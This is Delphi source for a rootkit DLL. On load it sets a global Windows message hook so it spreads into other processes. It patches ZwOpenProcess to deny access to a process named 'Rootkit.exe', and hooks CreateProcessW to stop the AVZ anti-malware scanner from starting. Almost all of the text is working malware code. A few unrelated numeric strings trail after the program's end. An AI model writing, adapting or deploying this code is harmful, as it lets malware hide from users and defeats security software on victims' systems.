function NewCreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
if (ExtractFileName(lpApplicationName)= 'avz.exe') then Result:= False else
Result := TrueCreateProcessW(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,bInheritHandles, dwCreationFlags, lpEnvironment,
lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
end;
Function TrueZwOpenProcess(phProcess:PDWORD; AccessMask:DWORD;ObjectAttributes:PObjectAttributes;
ClientID:PClientID):NTStatus;stdcall;
begin
WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@OldFunc,sizeof(Oldcode),b);
Result:= ZwOpenProcess(phProcess,AccessMask,ObjectAttributes,ClientID);
WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@NewFunc,sizeof(far_jmp),b);
end;
Function NewZwOpenProcess(phProcess:PDWORD;AccessMask:DWORD;ObjectAttributes:PObjectAttributes;
ClientID:PClientID):NTStatus;stdcall;
begin
if (ClientID<>nil) and (ClientID.UniqueProcess=pid) then
begin
Result:=STATUS_ACCESS_DENIED;
exit;
end;
Result:= TrueZwOpenProcess(phProcess,AccessMask,ObjectAttributes,ClientID);
end;
function GetProcessId(ExeName: string): DWORD;
var
snap : DWORD;
pe : TprocessEntry32;
begin
result:=0;
snap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if snap <>INVALID_HANDLE_VALUE then
begin
pe.dwSize:=sizeof(TPROCESSENTRY32);
if process32First(snap,pe) then
repeat
if pe.szExeFile = exename then
begin
result:= pe.th32ProcessID;
closehandle(snap);
exit;
end;
until not
process32Next(snap,pe);
closehandle(snap);
result:=0;
end;
end;
procedure GetPID;
begin
pid:= GetProcessID('Rootkit.exe');
end;
function MessageProc(code : integer; wParam : word; lParam : longint) : longint; stdcall;
begin
CallNextHookEx(0,code,wParam,lParam);
end;
procedure SetGlobalHookProc();
begin
SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
Sleep(INFINITE)
end;
procedure SetGlobalHook();
var
hMutex: dword;
TrId: dword;
begin
hMutex := CreateMutex(nil, false, '[{ADA5458-6AB8-7C4D-88BA-44A06478C676}]');
if GetLastError = 0 then
CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId)
else
CloseHandle(hMutex)
end;
procedure DLLEntryPoint(dwReason: DWord);
begin
case dwReason of
DLL_PROCESS_ATTACH:
begin
GetPID;
SetHook;
SetGlobalHook;
end;
DLL_PROCESS_DETACH:
begin
UnHook;
end;
end;
end;
begin
DllProc:= @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
R106276538945
Z160640024212
410011190732605
-1
